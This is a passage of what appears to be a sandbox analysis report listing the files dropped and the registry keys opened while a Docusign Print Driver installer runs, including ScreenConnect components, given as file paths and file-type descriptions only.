[%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\ko\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\zh-hans\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\fr\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\es\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\nl\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\zh-hant\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "mbahost.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\mbahost.dll]- [targetUID: 00000000-00007008] "BootstrapperCore.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\BootstrapperCore.dll]- [targetUID: 00000000-00007008] "Microsoft.Deployment.WindowsInstaller.Package.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll]- [targetUID: 00000000-00005036] "Microsoft.Deployment.Compression.Cab.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.Compression.Cab.dll]- [targetUID: 00000000-00005036] "Microsoft.Deployment.Compression.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.Compression.dll]- [targetUID: 00000000-00005036] "fr.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:32:50 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- [targetUID: 00000000-00007000] "de.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:32:30 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- [targetUID: 00000000-00007000] "ja.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:33:04 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\ja.mst]- [targetUID: 00000000-00007000] "es.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:32:44 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- [targetUID: 00000000-00007000] "pt.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:33:30 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\pt.mst]- [targetUID: 00000000-00007000] "it.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:32:58 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- [targetUID: 00000000-00007000] "ru.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:33:38 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\ru.mst]- [targetUID: 00000000-00007000] "pt-br.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:33:24 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\pt-br.mst]- [targetUID: 00000000-00007008] "ko.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:33:10 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\ko.mst]- [targetUID: 00000000-00007000] "nl.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:33:18 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\nl.mst]- [targetUID: 00000000-00007000] "zh-cn.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:33:44 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\zh-cn.mst]- [targetUID: 00000000-00007000] "zh-tw.mst" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Create Time/Date: Tue Aug 19 22:33:50 2025 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 4 Template: x64;1033 Last Saved By: x64;1033 Revision Number: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}3.6.3.0;{656B8443-AB50-4624-AF80-E71D50C005E8} Number of Pages: 300 Number of Characters: 131135"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\zh-tw.mst]- [targetUID: 00000000-00007000] "ScreenConnect.InstallerActions.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.InstallerActions.dll]- [targetUID: 00000000-00005036] "DocuSign.Installer.CustomActions.dll" has type "PE32+ executable for MS Windows 4.00 (DLL) x86-64 Mono/.Net assembly 2 sections"- Location: [%TEMP%\MSIE844.tmp-\DocuSign.Installer.CustomActions.dll]- [targetUID: 00000000-00005136] "MainPackage" has type "Composite Document File V2 Document Little Endian Os: Windows Version 10.0 MSI Installer Code page: 1252 Title: Installation Database Subject: Docusign Print Driver 3.6.3 Author: Docusign Keywords: Installer Comments: This installer database contains the logic and data required to install Docusign Print Driver 3.6.3. Template: x64;1033 Revision Number: {EEA57427-A3CA-4186-BC52-66FAACA97209} Create Time/Date: Tue Aug 19 22:32:38 2025 Last Saved Time/Date: Tue Aug 19 22:32:38 2025 Number of Pages: 300 Number of Words: 2 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 2"- [targetUID: 00000000-00007000] "MSIE844.tmp" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 InstallShield self-extracting archive 6 sections"- Location: [%TEMP%\MSIE844.tmp]- [targetUID: 00000000-00007000] "MSIFE10.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\MSIFE10.tmp]- [targetUID: 00000000-00007000] "1A374813EDB1A6631387E414D3E73232" has type "data"- [targetUID: 00000000-00007000] "MSI5691.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\MSI5691.tmp]- [targetUID: 00000000-00007000] "BootstrapperApplicationData.xml" has type "XML 1.0 document Unicode text UTF-16 little-endian text with very long lines (483) with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\BootstrapperApplicationData.xml]- [targetUID: 00000000-00007008] "mbapreq.thm" has type "XML 1.0 document ASCII text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\mbapreq.thm]- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators"- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1041\mbapreq.wxl]- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document ASCII text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\mbapreq.wxl]- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1031\mbapreq.wxl]- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1038\mbapreq.wxl]- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document ASCII text with CRLF line terminators"- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1040\mbapreq.wxl]- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1030\mbapreq.wxl]- [targetUID: 00000000-00007008] "07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D]- [targetUID: 00000000-00007000] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\2070\mbapreq.wxl]- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1044\mbapreq.wxl]- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1046\mbapreq.wxl]- [targetUID: 00000000-00007008] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1053\mbapreq.wxl]- [targetUID: 00000000-00007008] "CustomAction.config" has type "XML 1.0 document ASCII text with CRLF line terminators"- Location: [%TEMP%\MSIE844.tmp-\CustomAction.config]- [targetUID: 00000000-00005136] "BootstrapperCore.config" has type "XML 1.0 document Unicode text UTF-8 (with BOM) text with CRLF line terminators"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\BootstrapperCore.config]- [targetUID: 00000000-00007008] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007528] "state.rsm" has type "data"- [targetUID: 00000000-00007000] "mbapreq.png" has type "PNG image data 63 x 63 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D]- [targetUID: 00000000-00007000] "8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4]- [targetUID: 00000000-00007000] "C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141]- [targetUID: 00000000-00007000] "A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B]- [targetUID: 00000000-00007000] "9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D]- [targetUID: 00000000-00007000] "07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D]- [targetUID: 00000000-00007000] "A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B]- [targetUID: 00000000-00007000] "C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141]- [targetUID: 00000000-00007000] "8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4]- [targetUID: 00000000-00007000] "1A374813EDB1A6631387E414D3E73232" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\1A374813EDB1A6631387E414D3E73232]- [targetUID: 00000000-00007000] "329B6147266C1E26CD774EA22B79EC2E" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\329B6147266C1E26CD774EA22B79EC2E]- [targetUID: 00000000-00007000] "CustomAction.config" has type "XML 1.0 document Unicode text UTF-8 (with BOM) text with CRLF line terminators"- Location: [%WINDIR%\Installer\MSI646E.tmp-\CustomAction.config]- [targetUID: 00000000-00005136] "SC_FeedbackTool-bat.log" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\SC_FeedbackTool-bat.log]- [targetUID: 00000000-00004720] "__PSScriptPolicyTest_ybg1iizh.fbb.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_ybg1iizh.fbb.psm1]- [targetUID: 00000000-00006420] "Docusign Print Driver x64.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.be\Docusign Print Driver x64.exe]- [targetUID: 00000000-00007000] "__PSScriptPolicyTest_fx4mjibc.1z2.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_fx4mjibc.1z2.ps1]- [targetUID: 00000000-00002772] "__PSScriptPolicyTest_lx2kkz1u.4hw.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_lx2kkz1u.4hw.ps1]- [targetUID: 00000000-00007528] "__PSScriptPolicyTest_iulw3s4j.zl2.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_iulw3s4j.zl2.ps1]- [targetUID: 00000000-00006420] "329B6147266C1E26CD774EA22B79EC2E" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\329B6147266C1E26CD774EA22B79EC2E]- [targetUID: 00000000-00007000] "__PSScriptPolicyTest_vemvf40a.vqq.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_vemvf40a.vqq.psm1]- [targetUID: 00000000-00002772] "__PSScriptPolicyTest_0rkn2u2x.vdx.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_0rkn2u2x.vdx.psm1]- [targetUID: 00000000-00007528]62:T95e,"BootstrapperApplicationData.xml" has type "XML 1.0 document Unicode text UTF-16 little-endian text with very long lines (483) with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\BootstrapperApplicationData.xml] "mbapreq.thm" has type "XML 1.0 document ASCII text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\mbapreq.thm] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators" "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1041\mbapreq.wxl] "mbapreq.wxl" has type "XML 1.0 document ASCII text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\mbapreq.wxl] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1031\mbapreq.wxl] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1038\mbapreq.wxl] "mbapreq.wxl" has type "XML 1.0 document ASCII text with CRLF line terminators" "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1040\mbapreq.wxl] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1030\mbapreq.wxl] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\2070\mbapreq.wxl] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1044\mbapreq.wxl] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1046\mbapreq.wxl] "mbapreq.wxl" has type "XML 1.0 document Unicode text UTF-8 text with CRLF line terminators" - Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1053\mbapreq.wxl]63:T656,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")64:T14a7,"ScreenConnect.Windows.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.Windows.dll]- [targetUID: 00000000-00005036] "ScreenConnect.Core.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.Core.dll]- [targetUID: 00000000-00005036] "mbapreq.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "DocuSign.BootstrapperApplication.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: 